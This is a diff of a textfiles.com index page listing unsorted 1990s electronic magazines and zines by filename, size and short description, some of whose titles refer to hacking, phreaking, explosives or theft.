 Newmag Issue #2 by Pip the Angry Youth +
newmag.010 2382
 Newmag Issue #10 by Pip the Angry Youth +
news-001.nfo 3042
 The UsU Newsletter #1 by CyberGlitch (October 20, 1994) +
nfx-001.txt 16768
 The New Fone Express #1 +
nfx_001.txt 16768
 The New Fone Express Issue #1 +
nwoissue.001 6268
 The New World Order Computer Underground Magazine Issue #1 +
obscure-03 11359
 Obscure Electronic #3 (June 1, 1993) +
obscure-04 13167
 Obscure Electric #4 (June 8, 1993) +
orgt-1.txt 28037
 Organized Thoughts Magazine, Issue 1, June 5, 1992 +
orgt-3.txt 29266
 Organized Thoughts Magazine, Issue 3, September 7, 1992 +
orgt-4.txt 40290
 Organized Thoughts Magazine, Issue 4, October 30, 1992 +
out3.txt 29048
 Out of Step Magazine, Volume 1, Issue 3, March 1992 +
outofs2.txt 36256
 Out of Step Magazine, Issue 2, by Quadrac +
p-m-s-1.txt 18157
 Paranoia Media Scrutinization Volume 1, Number 1 March 1992 +
p11mag1.txt 56128
 Pandemonium Magazine: Issue #1: October 31, 1993 +
paj1.02 48747
 The Phantom Access Journal Volume 1 Issue 2 (March 3, 1993) +
paov1n2.txt 13446
 Practical Anarchy Online Issue 2.1 (January 1993) +
paw.nfo 4779
 Pirates Analyze Warez Issue #4 - March 29th, 1993 +
pci.nfo 8158
 NFO: International Tennis, from Power Crisis International (December 5, 1993) +
pcro6-91.txt 39061
 PC Review Online Issue #5 (June 1991) +
pep1.txt 6512
 Public Enema Productions Issue #1 +
pfa5.txt 24487
 People's Freedom Association Issue #5 by Dr. Menace and Angel of Death +
pfa6.txt 15250
 People's Freedom Association Issue #6 by Dr. Menace and Angel of Death +
pfa7.txt 28176
 People's Freedom Association Issue #7 by Dr. Menace and Angel of Death +
pfa8.txt 82284
 People's Freedom Association Issue #8 by Dr. Menace and Angel of Death +
phanews1.txt 35673
 Phreakers Hackers Anarchists Newsletter #1 (May 14, 1990) +
phanews2.txt 123519
 Phreakers/Hackers/Anarchists Newsletter Issue #2 (July 26, 1990) +
phate101.hpa 55018
 Phreakers Hackers and Terrorists Issue #1 (December 15, 1992) +
phire1.txt 17153
 Phreakin' Hackin' Informational Recreation Encyclopedia issue #1 by Kid Kopy and Ditto +
phire2.txt 17793
 Phreakin' Hackin' Informational Recreation Encyclopedia issue #2 by Kid Kopy and Ditto +
phirst01.txt 81288
 Phirst Amendment Issue #1 (November 7th, 1993) +
phirst04.txt 113733
 Phirst Amendment Issue #4 (December 1st, 1992) +
phirst09.txt 112873
 Phirst Amendment Issue #9 (January 1st, 1993) +
phylox.res 6060
 The Hack Report: Volume 2 Number 5, April 27, 1993 +
picric.gÝd 3627
 How to make Picric Acid, by Iceman of GiD +
pirate1doc.hac 94272
 PIRATE Volume #1 Issue #1 +
plstique.txt 3075
 Quick and Dirty Plastique, by Adam Selene +
plum_is1.txt 11366
 Acid Plum Issue #1 +
plum_is2.txt 16249
 Acid Plum Issue #2 +
plum_is3.txt 16347
 Acid Plum Issue #3 +
pot_1994.app 2727
 APPLICATION: The Preachers of Texts +
pot_elt.txt 2595
 Preachers of Texts: How to Become Elite in Days by Suicidal +
pot_hckr.txt 3375
 Preachers of Texts: The Easiest and Fastest Way to Become a K-Rad Hacker, by Suicidal +
pot_hscl.txt 4443
 Preachers of Texts: Hacking School Computers for Dummies, by Suicidal +
pot_new.txt 2390
 Preachers of Texts: Newcomers to the HPACTV Scene... What's Happening? by Suicidal +
privatel.txt 97240
 General Information on Private Line Magazine (1994) +
privl2n1 91929
 Private Line: A Journal of Inquiry into the Telephone System #4 (1994) +
privl2n2 76257
 Private Line: A Journal of Inquiry into the Telephone System #5 (1994) +
proj01.txt 30614
 The Project Newsletter - 1 of 4 (Spring 1991) +
proj02.txt 64529
 The Project Newsletter - 2 of 4 (Summer-Fall 1991) +
proj03.txt 34156
 The Project Newsletter - 3 of 4 (Winter 1990-1991) +
proj04.txt 162959
 The Project Newsletter - 4 of 4 (Winter-Spring-Summer 1991-92) +
psy4.nfo 1620
 Psychosis Issue #4 Information +
qbnws103.nws 110691
 QBNews: International QuickBasic Electronic Newsletter #3 (May 22, 1990) +
rcdstore.bom 4313
 Stealing from Record Stores by Cop Killer of BOM +
reb.dpe 10187
 Field Phreaking for the Absolute Moron by Rebel Angel +
report.txt 3979
 The Official Party Report From The Computer CrossRoad '93 +
rrg-1.hac 5036
 Rebel's Riting Guild Volume 001 +
schidt.3 14162
 The Schidt Magazine Issue #3 (Thanksgiving 1992) by Scott T. Anderson and Dale L. Houston +
schidt.4 18707
 The Schidt Issue #4 by Scott T. Anderson and Dale L. Houston (Christmas 1992) +
schidt.5 20926
 The Schidt Issue #5 by Scott T. Anderson and Dale L. Houston (January 1993) +
schidt.6 24876
 The Schidt Issue #6 by Scott T. Anderson and Dale L. Houston (Jan-Feb 1993) +
schidt.7 12709
 The Schidt Issue #7 by Scott T. Anderson and Dale L. Houston (March 1993) +
skipmisc.028 45532
 Skip's Computer Miscellanea #28 (1989) +
skwl001.pt3 20073
 Sqweril Issue #1 Part 3 +
soapbox.2a 40820
 Soapbox Issue #2 (February, 1993) by Chad Skelton +
soapbox.2b 30912
 Soapbox Issue #2 (March 30, 1993) by Chad Shelton +
speeding.bom 8373
 Hints Towards Successful Speeding by Mr. Sandman of the BOM Squad +
ssm-0001.txt 16089
 Sabotage and Social Engineering Monthly Issue #1 (November, 1994) +
storm000.txt 9932
 Subliminal Takeover of Your Mind (STORM) Issue #1 +
storm001.txt 6791
 Subliminal Takeover of Your Mind (STORM) Issue #1 +
storm002.txt 6841
 Subliminal Takeover of Your Mind (STORM) Issue #2 +
story1.bom 13372
 HIM: A Story, by Mr. Sandman of the BOM Squad +
submission_guidelines 1362
 CORE: Submission Guidelines +
swat.nfo 5045
 SWAT: Membership List and Invitation to Join +
taep-1.txt 14880
 The Acid Enema Press, Volume 1, Issue 1, August 26, 1991 +
takeoff!.002 37525
 Take Off! April Edition Volume 2 +
tbcore001.hac 12743
 Taco Bell Core Issue #1, May, 1993 +
tcsb.01 3595
 Telecom Computer Security Bulletin, Volume 1, Issue 1 +
tcsb.02 5484
 Telecom Computer Security Bulletin, Volume 1, Issue 2 +
tdkeb-1.txt 123055
 TDKEB Issue #1 (March 1995) +
telegra1.txt 46959
 Telegraph Issue #1 (June 1994) +
telegra2.txt 42007
 Telegraph Issue 2 (September 1994) +
tides.nfo 2013
 BBS: Tides of Corruption BBS +
tno-001.txt 22341
 The Network Observer (January 1994) Volume 1, Number 1 +
tno-003.txt 31964
 The Network Observer (March 1994) Volume 1, Number 3 +
tno01n02.txt 37230
 The Network Observer (February 1994) Volume 1, Number 2 +
tno01n04.txt 31159
 The Network Observer (April 1994) Volume 1, Number 4 +
tollscam.bom 3893
 The Toll Booth Scam, by Mr. Sandman (July 15, 1993) +
tos1a.txt 15083
 The Tower of Song Canadian Culture E-Zine by Mike Winter Issue #1 +
tos2.txt 32785
 The Tower of Song Canadian Culture E-zine by Mike Winter Issue #2 (September 26, 1994) +
tr-0.txt 18717
 TapRoot Issue #0 (August 1992) +
tr-11.txt 50735
 TapRoot Issue 1.1 (December 1992) +
tr-12.txt 52511
 TapRoot Issue 1.2 (December 1992) +
tr-20a.txt 59878
 TapRoot Issue 2.0 (April 1993) +
tr-20b.txt 42936
 Taperoot Issue 2.0 b (April 1993) +
tr_chapb.txt 58710
 TapRoot Issue 3.0 (September 1993) +
tr_zines.txt 65554
 TapRoot Issue 3.0 a (September 1993) +
triad.6 24947
 TRIAD: Newsletter of the Syectic Underground #6 (May 20, 1989) +
triad6.txt 23427
 TRIAD: Newsletter of the Systemic Undergound: Issue #6 (May 20, 1989) +
trl-001.txt 13136
 Renegade Legions Technical Reports +
trl-002.txt 16813
 Renegade Legions Technical Reports +
trw___10.rl 10999
 The Renegade Legion Technical Reports (January 1991) +
ttp-1 7818
 THe Thrashing Pirana Issue #1 (February 22, 1994) +
ttp-2 3534
 The Thrashing Pirana Issue #2 (February 27, 1994) +
ttt-001.txt 27051
 Thinking to Text Issue #1 by Ideal +
ttt-002.txt 26398
 Thinking to Text Issue #2 by Ideal +
tzs-01.txt 34041
 This Zine Sucks Issue #1 by Sed +
udp-003.txt 49105
 Underground Digital Press (Issue #3) January 1993 +
v3i81.txt 7346
 The Teleputing Hotline Volume 3 Number 81 (October 16, 1990) +
v3i83.txt 7473
 The Teleputing Hotline Volume 3 Number 83 (October 23, 1990) +
v3i87.txt 7430
 The Teleputing Hotline Volume 3 Number 87 (November 6, 1990) +
v3i93.txt 7468
 The Teleputing Hotline Volume 3 Number 93 (November 27, 1990) +
v3i95.txt 7431
 The Teleputing Hotline Volume 3 Number 95 (December 3, 1990) +
v3i97.txt 7395
 The Teleputing Hotline Volume 3 Number 97 (December 11, 1990) +
v3i99.txt 7474
 The Teleputing Hotline Volume 3 Number 99 (December 18, 1990) +
voices1.1 96507
 Voices from the Net Issue #1 +
watcher.v05 47719
 The Watcher: The New Zealand Voice of the Left Hand Path (November 1990) #5 +
watcher.v06 45038
 The Watcher: The New Zealand Voice of the Left Hand Path (February 1991) #6 +
watcher.v07 43492
 The Watcher: The New Zealand Voice of the Left Hand Path (May 1991) #7 +
watcher.v08 60738
 The Watcher: The New Zealand Voice of the Left Hand Path (May 1991) #8 +
watcher.v09 37678
 The Watcher: The New Zealand Voice of the Left Hand Path (November 1991) #9 +
watcher.v10 38547
 The Watcher: The New Zealand Voice of the Left Hand Path (February 1992) #10 +
watcher.v11 46163
 The Watcher: The New Zealand Voice of the Left Hand Path (April 1992) #11 +
we17-1 3023
 WE Magazine Issue 17 +
weekly11.txt 7525
 The Weekly Something or Rather Magazine, Volume 1, Issue 1 +
whirl1.txt 145020
 Whirlwind Magazine, Volume 1, Issue 1, March 1, 1994 +
wwivnew6.txt 20387
 WWIV News Volume 1, Issue 6, June/July 1991 +
yizz2.nfo 2014
 BBS: YIZZ BBS +
zine.n21 130560
 Homebrewed: The Network 21 Wireheads Information Zine, June 7, 1993, Issue 1 +

There are 242 files for a total of 8,537,251 bytes.

+ + + diff --git a/textfiles.com/magazines/MISC/.windex.html b/textfiles.com/magazines/MISC/.windex.html new file mode 100644 index 00000000..462adc9a --- /dev/null +++ b/textfiles.com/magazines/MISC/.windex.html @@ -0,0 +1,262 @@ + +T E X T F I L E S + +

Unsorted Electronic Magazines

+

+Some of these magazines inspire very little energy to give them their own sections. +Others have come to me in pieces, with this issue and that issue being found around +the internet. Some of them are just here to stop off waiting for my time to add them +to the main magazine section. Regardless, they're all stored here and for the curious +they're available to browse before they join the rest. +

+ + + + +
+
Filename
Size
Description of the Textfile
1.strangeness 80885
 Welcome to Strangeness Issue #1 (October 30, 1994) +
2.strangeness 40080
 Welcome to Strangeness Issue #2 +
3.strangeness 115514
 Welcome to Strangeness Issue #3 (November 13, 1994) +
abuse-01.txt 46981
 Abuse Magazine, Issue #1 (February 1993) +
alembic2.txt 82944
 The Alembic, Second Edition Summer 1989 Issue +
alembic3.txt 73728
 The Alembic, Third Edition Autumn 1989 Issue +
alf.nfo 7044
 NFO: AC-Find v1.0 by the Anti-Lamers Foundation (July 23, 1994) +
alive_0.txt 24154
 ALIVE (Virus Magazine) Issue #1, by Suzana Stojakovic-Celustka (March, 1994) +
alliance 89125
 The Guide to a Better Society Volume #1 Issue #1 by Alliance Productions (August, 1991) +
alliance.000 37120
 The Guide to a Better Society Volume #1 Issue #1 by Alliance Productions (Template) +
allnoall.001 19562
 ALL Zine, Issue #1, (October 17, 1992) +
allnoall.002 27707
 ALL Zine Issue #2, (April 13, 1993) +
anarchives_2_2_1.txt 26732
 The Anarchives: Volume 2 Issue 2 Part 1 +
anarchives_2_2_2.txt 15622
 The Anarchives: Volume 2 Issue 2 Part 2 +
anarchives_2_2_3.txt 31496
 The Anarchives: Volume 2 Issue 2 Part 3 +
apinews1.txt 7208
 A.P.I: American Pirate Industries Volume 1, July 1989 +
apinews2.txt 5724
 API: American Pirate Newsletter Issue #2 +
asian_voices93.stx 136160
 Asian Voices Volume 6 (1993) +
assem1-1.txt 21486
 Assemblage Issue #1 (November 1992) +
assem1-2.txt 24850
 Assemblage Issue 2 (November 1992) +
assem1-3.txt 15028
 Assemblage Issue 3 (November 1992) +
asylum.lit 4091
 The first Asylum Literature Pack Introduction (August 6, 1994) +
at-01.txt 44063
 Anarchy Today Issue #1 by Jack the Ripper: Acetone Peroxide Explosive +
barney1.txt 14332
 ABL's Barney Must Die Newsletter #1 +
bluebook.txt 170931
 Project Bluebook Unknowns Part 1 by Don Allen (July 4, 1991) +
brain.nov 9344
 Brain Waves Viewpoint, by Alex Jacobson, President of Inference Corportation (November 1986) +
break1n1.txt 34057
 Breakaway: Debates on Modern Marxism Volume 1, Issue 1 (May 1994) +
break1n2.txt 34083
 Breakaway: Debates on Modern Marxism Volume 1, Issue 2 (June/July 1994) +
break1n3.txt 41614
 Breakaway: Debates on Modern Marxism Volume 1, Issue 3 (August/September 1994) +
break2n1.txt 30772
 Breakaway: Debates on Modern Marxism Volume 2, Issue 1 (November 1994) +
bs0294.txt 26220
 Bad Section Issue #1 (February 1994) +
bs0594t.txt 23085
 Bad Sector Volume 1 Issue 4 Series 1 (May 1994) +
btw.app 3017
 Application to Join Bizzare Types of Wares +
btw.nfo 8586
 BEER Issue #1 by Bizzare Types of Warez +
callanon.ant 6163
 Calling Anonymously, by Antediluvian (1994) +
cd02jan.txt 52648
 Carrier Detect: The PC Communications Journal for Every Modem User (Volume 2, Winter 1992) +
combat.gÝd 2784
 How to Win in a Combat Situation, by Iceman of GiD Productions +
contact 796
 How to Contact the Bizzare Types of Warez +
core2.04 27752
 CORE: Volume 2, Issue 4: An Electronic Journal of Poetry, Fiction, Essays and Criticism +
core2.05 28763
 CORE Volume #2 Issue #5 (April 24, 1993) +
cropd-01.txt 36412
 Cropduster Issue #1 (1992) +
cropd-02.txt 138653
 Cropduster Issue 2 (1993) +
cvm0201.txt 198704
 Cyberspace Vanguard (Volume 2, Issue 1) (January 21, 1994) +
cvm0202.txt 183671
 Cyberspace Vanguard (Volume 2, Issue 2) (March 31, 1994) +
cyber.v3 91335
 Cyberspace Vanguard: News and Views of the Science Fiction and Fantasy Universe Issue #3 (March 5, 1993) +
das-007.txt 15686
 The Digital Anarchists' Society File #7: Renegade Hack by Mad Arab +
daskvote.txt 2885
 Voting for the Demo Scene (Application) +
db10.txt 11641
 Dreamboy! Issue #10 (march 1, 1995) +
db5.txt 22165
 Dreamboy! Issue #5 (October 1994) +
db7.txt 12853
 Dreamboy! Issue #7 (December 1994) +
db8.txt 16680
 Dreamboy! Issue #8 (January 1995) +
db9.txt 17081
 Dreamboy! Issue #9 (February 1995) +
deton.bom 3530
 Digital Detonators by Balin of BOM Squad (April 22, 1993) +
dgrd--01.txt 25422
 Digital Games Review Digest, Number 1 (April 17, 1990) +
dgrd--02.txt 36052
 Digital Games Review Digest, Number 2 (April 26, 1990) +
dgrd--03.txt 34188
 Digital Games Review Digest, Number 3 (May 16th, 1990) +
difi-1.txt 29704
 Dial 'I' for Information, Issue #1, by The Phone Phantom (July 31, 1993) +
digital.asc 4434
 Neil Sorenson Announces the Digital Edition of The Mouth of Xibalba +
dishnews.504 42480
 Dishcetera: The Satellite TV Industry Online Magazines Volume 5 Issue 4 (February 1, 1993) +
dm-001.txt 9647
 Dancing Monica Issue #1 +
dm-002.txt 8312
 Damaged Mind Issue #2 +
dna.nfo 5377
 DnA Magazine by Pazuzu (August 3, 1993) +
dose002.txt 5147
 Dose Issue #2: "The Evils of Business Corporations" by RAGE (December 1, 1994) +
drain100.txt 25856
 The Drain Ezine Issue #1 (December 1, 1992) +
dst.nfo 5358
 NFO: Distortion Membership List (1994) +
emc-1.txt 15984
 The Martian Chronicle, Issue #1, March 1990 +
emc-2.txt 17024
 The Martian Chronicle, Issue #2, April 1990 +
emc-3.txt 12928
 The Martian Chronicle, Issue #3, July 1990 +
emc-4.txt 8576
 The Martian Chronicle, Issue #4, August 1990 +
emc-5.txt 11136
 The Martian Chronicle, Issue #5, October 1990 +
f5930411.txt 61237
 Fringe, conspiracy and SubGenius zine reviews by Jerod Pore (March 11, 1993) +
f5930421.txt 136914
 Factsheet 5 Electric Political Zine Reviews (March 21, 1993) +
flam-f01.txt 101496
 Toxic Shock: The Fetus by Bloody Afterbirth +
flam-f2.txt 266785
 Toxic Shock: The Flaming Fetus (October 19, 199)) +
fognewsl.001 22517
 Fist of God News Issue #1 +
funhou02.txt 166131
 FUNHOUSE: The Cyberzine of Degenerate Pop Culture (June 22, 1993) +
fyi22.txt 116625
 FYI On Questions and Answers: Answers to Commonly Asked Primary and Secondary School Internet User Questions (February 1994) +
greetz.lit 5428
 Greets from the Asylum Staff to all their IRC Friends (August 6, 1994) +
grim1.txt 68113
 The Grimore: Your On-Line Guide to Magic the Gathering +
grim2.txt 109321
 The Grimore: Your On-Line Guide to Magic the Gathering +
groups.paw 3752
 Pirates Analyze Warez Announce a new Magazine +
history.txt 20700
 The Insomnia Electronic Magazine Interface History by Fade of REM +
iafl-001.txt 35467
 In a Free Land Issue #1 (Winter 1993) by Rageboy Publications +
iafl-002.txt 41347
 In a Free Land Issue #2 (January 25th, 1994) by Rageboy Publications +
iface5 15334
 Interface Issue #5 (Summer 1993) by Benjamin Henry +
index 2594
 Index to the Silicon Vortex +
inews493.txt 31138
 International Sysop's Guild Newsletter (April 1993) +
interz02.txt 15880
 Interzine Issue #2: Peter Meyer +
intzine.2 15801
 Interzine Issue #2: Peter Meyer (June 11, 1993) +
itt0206.nfo 3251
 The Internet Takeover Team .NFO File (February 6, 1995) +
itt0213.nfo 5572
 The Internet Takeover Team (February 13, 1995) +
kaos01.txt 86656
 The Chaos Advocate, Issue 1, by Mark Tanner +
lch2-001.txt 5231
 Leech Issue #2 (November 1994) +
legalhi.bom 7283
 Should Drugs Be Legal? By Mr. Sandman of the BOM Squad (October 14, 1993) +
legion-06 76830
 The Legion of Bitter Alumni Issue #6 (November 26, 1993) +
legion-07 61639
 The Legion of Bitter Alumni Issue #7 (1993) +
liminal-1.0 25293
 The Liminal Group Presents Liminal 1.0 (1992) +
liminal.v1 23626
 Liminal Issue #1, The Alternative Scholarly Culture Studies Magazine (April 17, 1993) +
liminal_1.1 59398
 The Liminal Group Presents Liminal 1.1 (1992) +
lost01.hac 68449
 Legion of Schram Today Newsletter #1 +
lost02.hac 20927
 Legion of Schram Today Newsletter #2 +
majority.txt 33853
 Operation Majority Final Release by Milton William Cooper (1989) +
message 1352
 INFO: Necronomicon Logo +
mjir93-1 47821
 The Mini-Journal of Irreproducible Results (November, 1993) +
mjir93-2 19358
 The mini-Journal of Irreproducible Results (December, 1993) +
mjir94-1 21093
 The mini-Journal of Irreproducible Results (January, 1994) +
mjir94-2 15535
 The mini-Journal of Irreproducible Results (February, 1994) +
mjir94-4 19367
 The mini-Journal of Irreproducible Results (April, 1994) +
necronomicon.1 13544
 Necronomicon Press Issue #1 +
net11.txt 22107
 Noted on the Net, Issue #11 +
neurosis.nfo 2456
 Introduction to the First Issue of Neurosis Magazine by GH +
newmag.008 974
 Newmag Issue #8 by Pip the Angry Youth +
newmag.009 986
 Newmag Issue #2 by Pip the Angry Youth +
newmag.010 2382
 Newmag Issue #10 by Pip the Angry Youth +
news-001.nfo 3042
 The UsU Newsletter #1 by CyberGlitch (October 20, 1994) +
nfx-001.txt 16768
 The New Fone Express #1 +
nfx_001.txt 16768
 The New Fone Express Issue #1 +
nwoissue.001 6268
 The New World Order Computer Underground Magazine Issue #1 +
obscure-03 11359
 Obscure Electronic #3 (June 1, 1993) +
obscure-04 13167
 Obscure Electric #4 (June 8, 1993) +
orgt-1.txt 28037
 Organized Thoughts Magazine, Issue 1, June 5, 1992 +
orgt-3.txt 29266
 Organized Thoughts Magazine, Issue 3, September 7, 1992 +
orgt-4.txt 40290
 Organized Thoughts Magazine, Issue 4, October 30, 1992 +
out3.txt 29048
 Out of Step Magazine, Volume 1, Issue 3, March 1992 +
outofs2.txt 36256
 Out of Step Magazine, Issue 2, by Quadrac +
p-m-s-1.txt 18157
 Paranoia Media Scrutinization Volume 1, Number 1 March 1992 +
p11mag1.txt 56128
 Pandemonium Magazine: Issue #1: October 31, 1993 +
paj1.02 48747
 The Phantom Access Journal Volume 1 Issue 2 (March 3, 1993) +
paov1n2.txt 13446
 Practical Anarchy Online Issue 2.1 (January 1993) +
paw.nfo 4779
 Pirates Analyze Warez Issue #4 - March 29th, 1993 +
pci.nfo 8158
 NFO: International Tennis, from Power Crisis International (December 5, 1993) +
pcro6-91.txt 39061
 PC Review Online Issue #5 (June 1991) +
pep1.txt 6512
 Public Enema Productions Issue #1 +
pfa5.txt 24487
 People's Freedom Association Issue #5 by Dr. Menace and Angel of Death +
pfa6.txt 15250
 People's Freedom Association Issue #6 by Dr. Menace and Angel of Death +
pfa7.txt 28176
 People's Freedom Association Issue #7 by Dr. Menace and Angel of Death +
pfa8.txt 82284
 People's Freedom Association Issue #8 by Dr. Menace and Angel of Death +
phanews1.txt 35673
 Phreakers Hackers Anarchists Newsletter #1 (May 14, 1990) +
phanews2.txt 123519
 Phreakers/Hackers/Anarchists Newsletter Issue #2 (July 26, 1990) +
phate101.hpa 55018
 Phreakers Hackers and Terrorists Issue #1 (December 15, 1992) +
phire1.txt 17153
 Phreakin' Hackin' Informational Recreation Encyclopedia issue #1 by Kid Kopy and Ditto +
phire2.txt 17793
 Phreakin' Hackin' Informational Recreation Encyclopedia issue #2 by Kid Kopy and Ditto +
phirst01.txt 81288
 Phirst Amendment Issue #1 (November 7th, 1993) +
phirst04.txt 113733
 Phirst Amendment Issue #4 (December 1st, 1992) +
phirst09.txt 112873
 Phirst Amendment Issue #9 (January 1st, 1993) +
phylox.res 6060
 The Hack Report: Volume 2 Number 5, April 27, 1993 +
picric.gÝd 3627
 How to make Picric Acid, by Iceman of GiD +
pirate1doc.hac 94272
 PIRATE Volume #1 Issue #1 +
plstique.txt 3075
 Quick and Dirty Plastique, by Adam Selene +
plum_is1.txt 11366
 Acid Plum Issue #1 +
plum_is2.txt 16249
 Acid Plum Issue #2 +
plum_is3.txt 16347
 Acid Plum Issue #3 +
pot_1994.app 2727
 APPLICATION: The Preachers of Texts +
pot_elt.txt 2595
 Preachers of Texts: How to Become Elite in Days by Suicidal +
pot_hckr.txt 3375
 Preachers of Texts: The Easiest and Fastest Way to Become a K-Rad Hacker, by Suicidal +
pot_hscl.txt 4443
 Preachers of Texts: Hacking School Computers for Dummies, by Suicidal +
pot_new.txt 2390
 Preachers of Texts: Newcomers to the HPACTV Scene... What's Happening? by Suicidal +
privatel.txt 97240
 General Information on Private Line Magazine (1994) +
privl2n1 91929
 Private Line: A Journal of Inquiry into the Telephone System #4 (1994) +
privl2n2 76257
 Private Line: A Journal of Inquiry into the Telephone System #5 (1994) +
proj01.txt 30614
 The Project Newsletter - 1 of 4 (Spring 1991) +
proj02.txt 64529
 The Project Newsletter - 2 of 4 (Summer-Fall 1991) +
proj03.txt 34156
 The Project Newsletter - 3 of 4 (Winter 1990-1991) +
proj04.txt 162959
 The Project Newsletter - 4 of 4 (Winter-Spring-Summer 1991-92) +
psy4.nfo 1620
 Psychosis Issue #4 Information +
qbnws103.nws 110691
 QBNews: International QuickBasic Electronic Newsletter #3 (May 22, 1990) +
rcdstore.bom 4313
 Stealing from Record Stores by Cop Killer of BOM +
reb.dpe 10187
 Field Phreaking for the Absolute Moron by Rebel Angel +
report.txt 3979
 The Official Party Report From The Computer CrossRoad '93 +
rrg-1.hac 5036
 Rebel's Riting Guild Volume 001 +
schidt.3 14162
 The Schidt Magazine Issue #3 (Thanksgiving 1992) by Scott T. Anderson and Dale L. Houston +
schidt.4 18707
 The Schidt Issue #4 by Scott T. Anderson and Dale L. Houston (Christmas 1992) +
schidt.5 20926
 The Schidt Issue #5 by Scott T. Anderson and Dale L. Houston (January 1993) +
schidt.6 24876
 The Schidt Issue #6 by Scott T. Anderson and Dale L. Houston (Jan-Feb 1993) +
schidt.7 12709
 The Schidt Issue #7 by Scott T. Anderson and Dale L. Houston (March 1993) +
skipmisc.028 45532
 Skip's Computer Miscellanea #28 (1989) +
skwl001.pt3 20073
 Sqweril Issue #1 Part 3 +
soapbox.2a 40820
 Soapbox Issue #2 (February, 1993) by Chad Skelton +
soapbox.2b 30912
 Soapbox Issue #2 (March 30, 1993) by Chad Shelton +
speeding.bom 8373
 Hints Towards Successful Speeding by Mr. Sandman of the BOM Squad +
ssm-0001.txt 16089
 Sabotage and Social Engineering Monthly Issue #1 (November, 1994) +
storm000.txt 9932
 Subliminal Takeover of Your Mind (STORM) Issue #1 +
storm001.txt 6791
 Subliminal Takeover of Your Mind (STORM) Issue #1 +
storm002.txt 6841
 Subliminal Takeover of Your Mind (STORM) Issue #2 +
story1.bom 13372
 HIM: A Story, by Mr. Sandman of the BOM Squad +
submission_guidelines 1362
 CORE: Submission Guidelines +
swat.nfo 5045
 SWAT: Membership List and Invitation to Join +
taep-1.txt 14880
 The Acid Enema Press, Volume 1, Issue 1, August 26, 1991 +
takeoff!.002 37525
 Take Off! April Edition Volume 2 +
tbcore001.hac 12743
 Taco Bell Core Issue #1, May, 1993 +
tcsb.01 3595
 Telecom Computer Security Bulletin, Volume 1, Issue 1 +
tcsb.02 5484
 Telecom Computer Security Bulletin, Volume 1, Issue 2 +
tdkeb-1.txt 123055
 TDKEB Issue #1 (March 1995) +
telegra1.txt 46959
 Telegraph Issue #1 (June 1994) +
telegra2.txt 42007
 Telegraph Issue 2 (September 1994) +
tides.nfo 2013
 BBS: Tides of Corruption BBS +
tno-001.txt 22341
 The Network Observer (January 1994) Volume 1, Number 1 +
tno-003.txt 31964
 The Network Observer (March 1994) Volume 1, Number 3 +
tno01n02.txt 37230
 The Network Observer (February 1994) Volume 1, Number 2 +
tno01n04.txt 31159
 The Network Observer (April 1994) Volume 1, Number 4 +
tollscam.bom 3893
 The Toll Booth Scam, by Mr. Sandman (July 15, 1993) +
tos1a.txt 15083
 The Tower of Song Canadian Culture E-Zine by Mike Winter Issue #1 +
tos2.txt 32785
 The Tower of Song Canadian Culture E-zine by Mike Winter Issue #2 (September 26, 1994) +
tr-0.txt 18717
 TapRoot Issue #0 (August 1992) +
tr-11.txt 50735
 TapRoot Issue 1.1 (December 1992) +
tr-12.txt 52511
 TapRoot Issue 1.2 (December 1992) +
tr-20a.txt 59878
 TapRoot Issue 2.0 (April 1993) +
tr-20b.txt 42936
 Taperoot Issue 2.0 b (April 1993) +
tr_chapb.txt 58710
 TapRoot Issue 3.0 (September 1993) +
tr_zines.txt 65554
 TapRoot Issue 3.0 a (September 1993) +
triad.6 24947
 TRIAD: Newsletter of the Syectic Underground #6 (May 20, 1989) +
triad6.txt 23427
 TRIAD: Newsletter of the Systemic Undergound: Issue #6 (May 20, 1989) +
trl-001.txt 13136
 Renegade Legions Technical Reports +
trl-002.txt 16813
 Renegade Legions Technical Reports +
trw___10.rl 10999
 The Renegade Legion Technical Reports (January 1991) +
ttp-1 7818
 THe Thrashing Pirana Issue #1 (February 22, 1994) +
ttp-2 3534
 The Thrashing Pirana Issue #2 (February 27, 1994) +
ttt-001.txt 27051
 Thinking to Text Issue #1 by Ideal +
ttt-002.txt 26398
 Thinking to Text Issue #2 by Ideal +
tzs-01.txt 34041
 This Zine Sucks Issue #1 by Sed +
udp-003.txt 49105
 Underground Digital Press (Issue #3) January 1993 +
v3i81.txt 7346
 The Teleputing Hotline Volume 3 Number 81 (October 16, 1990) +
v3i83.txt 7473
 The Teleputing Hotline Volume 3 Number 83 (October 23, 1990) +
v3i87.txt 7430
 The Teleputing Hotline Volume 3 Number 87 (November 6, 1990) +
v3i93.txt 7468
 The Teleputing Hotline Volume 3 Number 93 (November 27, 1990) +
v3i95.txt 7431
 The Teleputing Hotline Volume 3 Number 95 (December 3, 1990) +
v3i97.txt 7395
 The Teleputing Hotline Volume 3 Number 97 (December 11, 1990) +
v3i99.txt 7474
 The Teleputing Hotline Volume 3 Number 99 (December 18, 1990) +
voices1.1 96507
 Voices from the Net Issue #1 +
watcher.v05 47719
 The Watcher: The New Zealand Voice of the Left Hand Path (November 1990) #5 +
watcher.v06 45038
 The Watcher: The New Zealand Voice of the Left Hand Path (February 1991) #6 +
watcher.v07 43492
 The Watcher: The New Zealand Voice of the Left Hand Path (May 1991) #7 +
watcher.v08 60738
 The Watcher: The New Zealand Voice of the Left Hand Path (May 1991) #8 +
watcher.v09 37678
 The Watcher: The New Zealand Voice of the Left Hand Path (November 1991) #9 +
watcher.v10 38547
 The Watcher: The New Zealand Voice of the Left Hand Path (February 1992) #10 +
watcher.v11 46163
 The Watcher: The New Zealand Voice of the Left Hand Path (April 1992) #11 +
we17-1 3023
 WE Magazine Issue 17 +
weekly11.txt 7525
 The Weekly Something or Rather Magazine, Volume 1, Issue 1 +
whirl1.txt 145020
 Whirlwind Magazine, Volume 1, Issue 1, March 1, 1994 +
wwivnew6.txt 20387
 WWIV News Volume 1, Issue 6, June/July 1991 +
yizz2.nfo 2014
 BBS: YIZZ BBS +
zine.n21 130560
 Homebrewed: The Network 21 Wireheads Information Zine, June 7, 1993, Issue 1 +

There are 242 files for a total of 8,537,251 bytes.

